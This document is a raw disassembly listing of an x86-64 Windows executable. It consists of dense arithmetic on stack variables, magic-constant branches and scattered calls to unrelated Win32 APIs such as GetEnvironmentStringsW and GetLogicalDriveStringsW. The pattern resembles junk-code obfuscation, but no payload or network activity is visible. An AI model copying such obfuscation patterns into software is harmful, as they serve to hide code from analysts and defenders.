movzx eax, word [rax]
cwde
test eax, eax
je 0x1400078e1
cmp eax, 0x1f5b
je 0x1400079b7
jmp 0x140007a5b
movzx eax, byte [rbp + 0xebb]
movsx edx, al
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
sar edx, cl
mov r8d, edx
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x34]
movsx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
cmp r8d, eax
jle 0x14000794d
movzx edx, word [rbp + 0x2dd6]
movzx eax, word [rbp + 0x1a74]
xor edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
mov ecx, 0x83
mov rax, qword [sym.imp.USER32.dll_VkKeyScanW]
call rax
mov word [rbp + 0x912], ax
movzx eax, byte [rbp + 0x34]
movsx eax, al
cmp eax, 0x24
jne 0x140007989
movzx edx, byte [rbp + 0x3f13]
movzx eax, byte [rbp + 0x3657]
or eax, edx
mov byte [rbp + 0x20b6], al
movzx eax, byte [rbp + 0x34]
mov edx, eax
movzx eax, byte [rbp + 0x4ef6]
sub edx, eax
mov rax, qword [rbp + 0x4250]
mov byte [rax], dl
jmp 0x1400079b2
lea rax, [rbp + 0x840]
mov qword [rbp + 0x1428], rax
mov rax, qword [rbp + 0x1b000]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x2730]
mov rax, qword [rbp + 0x10b0]
add edx, ecx
mov dword [rax], edx
nop
jmp 0x140007a5b
movzx eax, byte [0x140101058]
movzx eax, al
cmp eax, 0x21
jne 0x140007a38
mov rax, qword [rbp + 0x3478]
lea rdx, [rbp + 0x2ff0]
mov r9, rdx
mov r8d, 1
mov edx, 0x9d
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_InsertMenuItemW]
call rax
mov dword [rbp + 0x1a9f8], eax
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
movsx ecx, al
movzx eax, byte [rbp + 0x4ef6]
movsx r9d, al
movzx eax, byte [rbp + 0x34]
movsx r8d, al
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x4afb]
movsx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400fd7d7
jmp 0x140007a5a
mov rax, qword [rbp + 0x1af78]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x700]
mov rdx, qword [rax]
mov rax, qword [0x140106038]
and rdx, rcx
mov qword [rax], rdx
nop
nop
mov rax, qword [rbp + 0x3a18]
test rax, rax
je 0x140007a7b
movabs rdx, 0xe7b274994386cc4
cmp rax, rdx
je 0x140007ac9
jmp 0x140007bb0
lea rax, [rbp + 0x3a18]
mov qword [rbp + 0x16d8], rax
movzx eax, word [rbp + 0x1a74]
mov word [rbp + 0x912], ax
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x4150]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x1af60]
mov byte [rax], dl
lea rax, [rbp + 0x4ef6]
mov qword [rbp + 0x3ab8], rax
jmp 0x140007bb0
mov edx, dword [rbp + 0x1200]
mov eax, dword [0x140106030]
sub edx, eax
mov rax, qword [rbp + 0x740]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x3048]
mov eax, dword [rax]
add eax, ecx
cmp eax, edx
jb 0x140007b5e
mov rax, qword [rbp + 0x1a9d8]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetMenu]
call rax
mov qword [rbp + 0x3478], rax
movzx edx, word [rbp + 0x2164]
movzx eax, word [rbp + 0x4f4]
add eax, edx
mov word [rbp + 0x1208], ax
movzx ecx, word [rbp + 0x1208]
movzx edx, word [rbp + 0xee4]
mov rax, qword [rbp + 0x1558]
add edx, ecx
mov word [rax], dx
mov rcx, qword [rbp + 0x3720]
movzx eax, word [rbp + 0xee4]
movzx edx, ax
movzx eax, byte [rbp + 0x34]
movsx eax, al
mov r8, rcx
mov ecx, eax
call fcn.1400fd6ca
jmp 0x140007baf
mov ecx, 0x7f
mov rax, qword [sym.imp.USER32.dll_IsCharAlphaNumericW]
call rax
mov dword [rbp + 0x1a98c], eax
mov rax, qword [rbp + 0x740]
mov edx, dword [rax]
mov eax, dword [0x140106030]
add edx, eax
mov rax, qword [rbp + 0x1af68]
mov dword [rax], edx
mov rax, qword [rbp + 0x1af78]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1b008]
mov rax, qword [rax]
mov ecx, eax
sar rdx, cl
mov rax, rdx
mov qword [rbp + 0x2d10], rax
nop
mov rax, qword [rbp + 0x1b000]
mov eax, dword [rax]
cmp eax, 0x3f28b574
je 0x140007bd0
cmp eax, 0x4878adc8
je 0x140007cf6
jmp 0x140007d5f
lea rdx, [rbp + 0xb20]
mov rax, qword [rbp + 0x1a9c8]
mov dword [rsp + 0x20], 0xff
mov r9d, 0xda
mov r8d, 0xa7
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DlgDirListComboBoxW]
call rax
mov dword [rbp + 0x105c], eax
mov rax, qword [rbp + 0x1af78]
mov rcx, qword [rax]
mov rdx, qword [0x140101050]
mov rax, qword [0x140106038]
or rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x5b8]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1208]
xor eax, edx
movzx edx, ax
mov rax, qword [rbp + 0x4ed0]
movzx eax, word [rax]
movzx r8d, ax
movzx eax, word [rbp + 0x1c72]
movzx eax, ax
mov ecx, eax
shl r8d, cl
mov eax, r8d
cmp edx, eax
jge 0x140007cbb
mov rax, qword [rbp + 0x10b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1b000]
mov eax, dword [rax]
and eax, edx
mov dword [rbp + 0x3fac], eax
movzx eax, byte [rbp + 0x4ef6]
movsx ecx, al
movzx eax, byte [rbp + 0x2c4c]
movsx r9d, al
movzx eax, byte [rbp + 0x4ef6]
movsx r8d, al
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
movsx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400fd7d7
mov rax, qword [rbp + 0x4ed0]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x1558]
movzx edx, word [rax]
mov rax, qword [rbp + 0x4ed0]
add edx, ecx
mov word [rax], dx
movzx eax, byte [rbp + 0x34]
mov edx, eax
movzx eax, byte [rbp + 0xebb]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x2c4c], al
jmp 0x140007d5f
lea rdx, [rbp + 0x988]
mov rax, qword [rbp + 0x1a980]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetNumberOfConsoleInputEvents]
call rax
mov dword [rbp + 0x1aa1c], eax
mov rax, qword [rbp + 0x1aff0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x912]
and edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
mov rax, qword [rbp + 0x1af78]
mov rcx, qword [rax]
movzx eax, word [rbp + 0xee4]
movzx edx, ax
mov rax, qword [rbp + 0x3ab8]
movzx eax, byte [rax]
movsx eax, al
mov r8, rcx
mov ecx, eax
call fcn.1400fd6ca
nop
lea rax, [rbp + 0x3f13]
mov qword [rbp + 0x3440], rax
lea rax, [rbp + 0x1a74]
mov qword [rbp + 0x1a978], rax
mov rax, qword [rbp + 0x340]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x1b020]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1428]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x1afd8]
mov eax, dword [rax]
mov dword [rbp + 0x3ac0], eax
movzx eax, byte [rbp + 0x34]
movsx eax, al
cmp eax, 0x7a
jne 0x140007de8
mov rax, qword [rbp + 0x1a978]
movzx edx, word [rax]
movzx eax, word [rbp + 0x2dd6]
xor edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov dword [rbp + 0x1bc8], eax
jmp 0x1400fc807
mov rax, qword [rbp + 0x10b0]
mov eax, dword [rax]
cmp eax, 0x924e120
jne 0x140007eb5
movzx eax, word [rbp + 0x2164]
movzx eax, ax
cmp eax, 0x89d
je 0x140007e34
mov rcx, qword [rbp + 0x3a18]
movzx eax, word [rbp + 0x4f4]
movzx edx, ax
movzx eax, byte [rbp + 0x2c4c]
movsx eax, al
mov r8, rcx
mov ecx, eax
call fcn.1400fd6ca
jmp 0x140007e35
nop
mov rax, qword [rbp + 0x1a978]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x1a74]
cwde
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x1aff0]
movzx ecx, word [rax]
movzx eax, word [rbp + 0x912]
and eax, ecx
cwde
cmp edx, eax
jl 0x140007e6b
call fcn.1400fdbea
mov rax, qword [rbp + 0x3d50]
lea rcx, [rbp + 0x3f30]
mov rdx, qword [rbp + 0x1aa20]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_IsProcessInJob]
call rax
mov dword [rbp + 0x1a974], eax
mov rcx, qword [rbp + 0x24a8]
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x1428]
add rdx, rcx
mov qword [rax], rdx
jmp 0x1400fc7c9
mov rax, qword [rbp + 0x16d8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1b008]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x3720], rdx
jmp 0x140008251
mov rax, qword [rbp + 0x1af68]
mov ecx, dword [rax]
mov edx, dword [rbp + 0xa6c]
mov rax, qword [rbp + 0x740]
add edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0xf40]
mov rax, qword [rbp + 0x10b0]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x1b000]
mov dword [rax], edx
mov rax, qword [rbp + 0x1afd0]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x4ed0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x5b8]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x1a978]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x912]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
movzx eax, byte [rbp + 0x20b6]
movzx ecx, byte [rbp + 0x3f13]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x1af60]
mov byte [rax], dl
mov rax, qword [rbp + 0x1afd0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1208]
add eax, edx
mov word [rbp + 0x1c72], ax
movzx eax, byte [rbp + 0x4afb]
mov edx, eax
movzx eax, byte [rbp + 0xebb]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x2c4c], al
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov rax, qword [rbp + 0x740]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x1200], eax
mov rdx, qword [rbp + 0x2d10]
mov rax, qword [rbp + 0x3720]
xor rax, rdx
mov qword [0x140101050], rax
mov rax, qword [rbp + 0x1af78]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x700]
mov rax, qword [rax]
mov ecx, eax
sar rdx, cl
mov rax, qword [rbp + 0x1b008]
mov qword [rax], rdx
mov rax, qword [rbp + 0x33b8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24a8]
or rax, rdx
mov qword [rbp + 0x840], rax
mov rax, qword [rbp + 0x4250]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x4ef6]
and eax, edx
mov byte [rbp + 0xebb], al
mov rax, qword [rbp + 0x5b8]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x1c72]
mov rax, qword [rbp + 0x1558]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x1a978]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x2dd6]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
mov rax, qword [rbp + 0x4150]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x4d98]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x3440]
sub edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x2c4c]
mov edx, eax
movzx eax, byte [rbp + 0x4ef6]
sub edx, eax
mov rax, qword [rbp + 0x4250]
mov byte [rax], dl
mov rax, qword [rbp + 0x740]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x1bc8]
mov rax, qword [rbp + 0x3048]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x1b008]
mov rdx, qword [rax]
mov rax, qword [0x140106038]
mov rax, qword [rax]
and rax, rdx
mov qword [0x140101050], rax
mov edx, dword [rbp + 0x3ac0]
mov rax, qword [rbp + 0x1b000]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x3fac], edx
mov rax, qword [rbp + 0x1b020]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x1a9f0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1428]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x1a978]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x912]
add eax, edx
mov word [rbp + 0x1a74], ax
movzx edx, byte [rbp + 0x20b6]
movzx eax, byte [rbp + 0x3f13]
or edx, eax
mov rax, qword [rbp + 0x1a9c0]
mov byte [rax], dl
sub dword [rbp + 0x1af74], 0x52
mov rax, qword [rbp + 0x4ed0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1c72]
xor eax, edx
mov word [rbp + 0x1208], ax
movzx eax, byte [rbp + 0x4afb]
movsx edx, al
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x2c4c], al
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x2dd6]
cwde
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x912], ax
mov edx, dword [rbp + 0xa6c]
mov eax, dword [rbp + 0x1200]
and eax, edx
mov dword [rbp + 0x1bc8], eax
mov rax, qword [rbp + 0x1afd8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x10b0]
mov eax, dword [rax]
add edx, eax
mov rax, qword [rbp + 0x1b000]
mov dword [rax], edx
mov rax, qword [rbp + 0x700]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x2d10]
mov rax, qword [0x140106038]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x1a9f0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1b020]
mov rax, qword [rax]
add rax, rdx
mov qword [rbp + 0x840], rax
movzx eax, word [rbp + 0x1c72]
movzx edx, word [rbp + 0x2164]
sub eax, edx
mov word [rbp + 0x4f4], ax
mov rax, qword [rbp + 0x3ab8]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x4ef6]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x4afb], al
cmp dword [rbp + 0x1af74], 0xcd0f
ja 0x140007ed8
movzx edx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x1a9c0]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3657], al
lea rax, [rbp + 0x2164]
mov qword [rbp + 0x1a968], rax
mov rax, qword [rbp + 0x3440]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x3657]
mov rax, qword [rbp + 0x4150]
and edx, ecx
mov byte [rax], dl
movzx eax, word [rbp + 0xee4]
movzx edx, ax
movzx eax, word [rbp + 0x2164]
movzx eax, ax
sub edx, eax
mov r8d, edx
movzx eax, word [rbp + 0x1c72]
movzx edx, ax
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov eax, edx
cmp r8d, eax
jge 0x14000840a
mov rax, qword [rbp + 0x33b8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1428]
mov rax, qword [rax]
or rax, rdx
mov qword [rbp + 0x840], rax
lea rax, [rbp + 0x4fe0]
mov rdx, rax
mov ecx, 0x12
mov rax, qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
call rax
mov dword [rbp + 0x1bc8], eax
movzx eax, byte [rbp + 0x3f13]
movzx eax, al
cmp eax, 2
je 0x14000833e
cmp eax, 0x16
je 0x1400083ea
jmp 0x14000845c
mov rax, qword [rbp + 0x1b008]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3720]
sub rdx, rax
mov rax, qword [rbp + 0x1af78]
mov qword [rax], rdx
mov rax, qword [rbp + 0x740]
mov edx, dword [rax]
mov eax, dword [rbp + 0xa6c]
and eax, edx
mov dword [0x140106030], eax
mov rax, qword [rbp + 0x1afd8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x4c04]
mov rax, qword [rbp + 0x10b0]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x1558]
movzx edx, word [rax]
mov rax, qword [rbp + 0x4ed0]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x1208], ax
mov rax, qword [rbp + 0x988]
lea r8, [rbp + 0x4a60]
lea rdx, [rbp + 0x2ff0]
lea rcx, [rbp + 0x6d8]
mov qword [rsp + 0x20], rcx
mov r9, r8
mov r8d, 0xc9
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteConsoleW]
call rax
mov dword [rbp + 0x1a964], eax
jmp 0x14000845c
mov rax, qword [rbp + 0x3ab8]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x2c4c]
add edx, eax
mov rax, qword [rbp + 0x3ab8]
mov byte [rax], dl
jmp 0x14000845c
mov edx, dword [rbp + 0x1200]
mov eax, dword [rbp + 0x1bc8]
xor edx, eax
mov r8d, dword [0x140106030]
mov eax, dword [rbp + 0xa6c]
mov ecx, eax
shl r8d, cl
mov eax, r8d
cmp eax, edx
jae 0x14000845c
mov rax, qword [rbp + 0x1b008]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x1a968]
movzx eax, word [rax]
movzx edx, ax
movzx eax, byte [rbp + 0x4ef6]
movsx eax, al
mov r8, rcx
mov ecx, eax
call fcn.1400fd6ca
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x34]
movsx eax, al
lea ecx, [rdx + rax]
movzx eax, byte [rbp + 0x4afb]
movsx edx, al
mov rax, qword [rbp + 0x3ab8]
movzx eax, byte [rax]
movsx eax, al
add eax, edx
cmp ecx, eax
jle 0x140008556
movzx eax, word [rbp + 0x2dd6]
mov edx, eax
movzx eax, word [rbp + 0x1a74]
add eax, edx
mov word [rbp + 0x912], ax
mov rax, qword [rbp + 0x3440]
movzx eax, byte [rax]
movzx eax, al
cmp eax, 0x11
jne 0x140008537
mov rax, qword [rbp + 0x1a978]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x2dd6]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
mov ecx, dword [rbp + 0x2dc0]
mov rax, qword [rbp + 0x1aa20]
lea rdx, [rbp + 0x16d8]
mov qword [rsp + 0x20], rdx
mov r9d, ecx
mov r8d, 0x9d
mov edx, 0x82
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
call rax
mov dword [rbp + 0x1a9f8], eax
mov rax, qword [rbp + 0x1a9c0]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3440]
movzx eax, byte [rax]
and eax, edx
mov byte [rbp + 0x3657], al
jmp 0x140008556
mov rax, qword [rbp + 0x1428]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x33b8]
xor rdx, rcx
mov qword [rax], rdx
nop
mov eax, dword [rbp + 0x1200]
mov dword [rbp + 0x2fd4], eax
mov rax, qword [rbp + 0x3ab8]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
shl edx, cl
mov r8d, edx
movzx eax, byte [rbp + 0x34]
movsx edx, al
movzx eax, byte [rbp + 0x4afb]
movsx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
cmp r8d, eax
jg 0x1400fc773
mov rax, qword [rbp + 0x1b000]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x3fac]
mov rax, qword [rbp + 0x10b0]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx eax, al
lea ecx, [rdx + rax]
mov rax, qword [rbp + 0x3ab8]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0xebb]
movsx eax, al
add eax, edx
cmp ecx, eax
jle 0x140008612
mov rcx, qword [rbp + 0x3720]
mov rdx, qword [rbp + 0x2d10]
mov rax, qword [rbp + 0x16d8]
and rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x3ab8]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x4afb]
add eax, edx
mov byte [rbp + 0x2c4c], al
movzx edx, byte [rbp + 0x3657]
movzx ecx, byte [rbp + 0x20b6]
mov rax, qword [rbp + 0x3440]
sub edx, ecx
mov byte [rax], dl
movzx eax, word [rbp + 0x2dd6]
mov edx, eax
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x1a978]
mov word [rax], dx
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x4ef6], al
movzx edx, word [rbp + 0x4f4]
mov rax, qword [rbp + 0x5b8]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0xee4], ax
mov rax, qword [rbp + 0x4150]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x3440]
sub edx, ecx
mov byte [rax], dl
mov rcx, qword [rbp + 0x3a18]
mov rdx, qword [rbp + 0x3720]
mov rax, qword [0x140106038]
add rdx, rcx
mov qword [rax], rdx
mov rcx, qword [rbp + 0x3720]
mov rdx, qword [0x140101050]
mov rax, qword [rbp + 0x16d8]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x1af68]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x1bc8]
mov rax, qword [rbp + 0x3048]
xor edx, ecx
mov dword [rax], edx
mov rdx, qword [rbp + 0x24a8]
mov rax, qword [rbp + 0x33b8]
mov rax, qword [rax]
mov ecx, eax
shr rdx, cl
mov rax, rdx
mov qword [rbp + 0x840], rax
mov rax, qword [rbp + 0x1a978]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1a74]
or eax, edx
mov word [rbp + 0x912], ax
mov rax, qword [rbp + 0x3ab8]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
mov rax, qword [rbp + 0x1afd0]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x5b8]
movzx edx, word [rax]
mov rax, qword [rbp + 0x1558]
and edx, ecx
mov word [rax], dx
movzx eax, word [rbp + 0x1a74]
mov edx, eax
movzx eax, word [rbp + 0x912]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x1a978]
mov word [rax], dx
mov rax, qword [rbp + 0x1558]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1208]
add eax, edx
mov word [rbp + 0x2164], ax
mov rax, qword [rbp + 0x700]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2d10]
and rax, rdx
mov qword [0x140101050], rax
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1af68]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0xa6c], eax
sub dword [rbp + 0x1b034], 0x3a
mov edx, dword [rbp + 0x1cc]
mov rax, qword [rbp + 0x10b0]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x105c], edx
mov rax, qword [rbp + 0x1a9f0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1428]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x1b020]
mov qword [rax], rdx
mov rax, qword [rbp + 0x4150]
movzx edx, byte [rax]
movzx ecx, byte [0x140101058]
mov rax, qword [rbp + 0x4d98]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x1a968]
movzx edx, word [rax]
movzx eax, word [rbp + 0xee4]
add edx, eax
mov rax, qword [rbp + 0x1a968]
mov word [rax], dx
movzx eax, word [rbp + 0x1a74]
movsx edx, ax
movzx eax, word [rbp + 0x912]
cwde
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x2dd6], ax
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x1a9c0]
movzx eax, byte [rax]
xor eax, edx
mov byte [rbp + 0x3f13], al
movzx eax, byte [rbp + 0x4afb]
movsx edx, al
mov rax, qword [rbp + 0x3ab8]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
mov rax, qword [rbp + 0x16d8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x700]
mov rax, qword [rax]
or rax, rdx
mov qword [0x140101050], rax
mov edx, dword [rbp + 0x2fd4]
mov eax, dword [rbp + 0x1bc8]
and edx, eax
mov rax, qword [rbp + 0x1af68]
mov dword [rax], edx
mov rax, qword [rbp + 0x1af78]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x700]
mov rax, qword [rax]
add rdx, rax
mov rax, qword [rbp + 0x1b008]
mov qword [rax], rdx
mov rax, qword [rbp + 0x1b020]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x340]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x3ab8]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x2c4c], al
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x20b6]
add edx, eax
mov rax, qword [rbp + 0x1a9c0]
mov byte [rax], dl
mov rax, qword [rbp + 0x1aff0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1a74]
and eax, edx
mov word [rbp + 0x912], ax
mov rax, qword [rbp + 0x5b8]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1208]
add eax, edx
mov word [rbp + 0x1c72], ax
movzx eax, byte [rbp + 0x4ef6]
mov edx, eax
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x4250]
mov byte [rax], dl
mov rdx, qword [rbp + 0x3720]
mov rax, qword [0x140106038]
mov rax, qword [rax]
sub rdx, rax
mov qword [0x140101050], rdx
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x24a8]
sub rdx, rax
mov rax, qword [rbp + 0x1b020]
mov qword [rax], rdx
mov rax, qword [rbp + 0x1af68]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1200]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x1af68]
mov dword [rax], edx
mov rax, qword [rbp + 0x1afd8]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov rax, qword [rbp + 0x10b0]
mov ecx, edx
sar r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x5b8]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x1afd0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x4ed0]
or edx, ecx
mov word [rax], dx
movzx edx, byte [rbp + 0x3657]
movzx eax, byte [rbp + 0x20b6]
xor eax, edx
mov byte [rbp + 0x3f13], al
mov rax, qword [rbp + 0x1aff0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x2dd6]
and edx, eax
mov rax, qword [rbp + 0x1a978]
mov word [rax], dx
cmp dword [rbp + 0x1b034], 0x46a1
ja 0x140008612
mov rax, qword [rbp + 0x3ab8]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
lea rax, [rbp + 0x20b6]
mov qword [rbp + 0x1a958], rax
mov rax, qword [rbp + 0x700]
mov rdx, qword [rax]
movabs rax, 0x290b97cf99254466
cmp rdx, rax
jne 0x140008bce
mov eax, dword [rbp + 0xf40]
cmp eax, 0x13a5b156
je 0x140008b4b
cmp eax, 0x7e778b92
jne 0x140008bbd
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
call rax
mov qword [rbp + 0x4f38], rax
mov rax, qword [0x140106038]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x16d8]
mov rax, qword [rax]
add rax, rdx
mov qword [0x140101050], rax
jmp 0x140008bbd
mov rax, qword [rbp + 0x16d8]
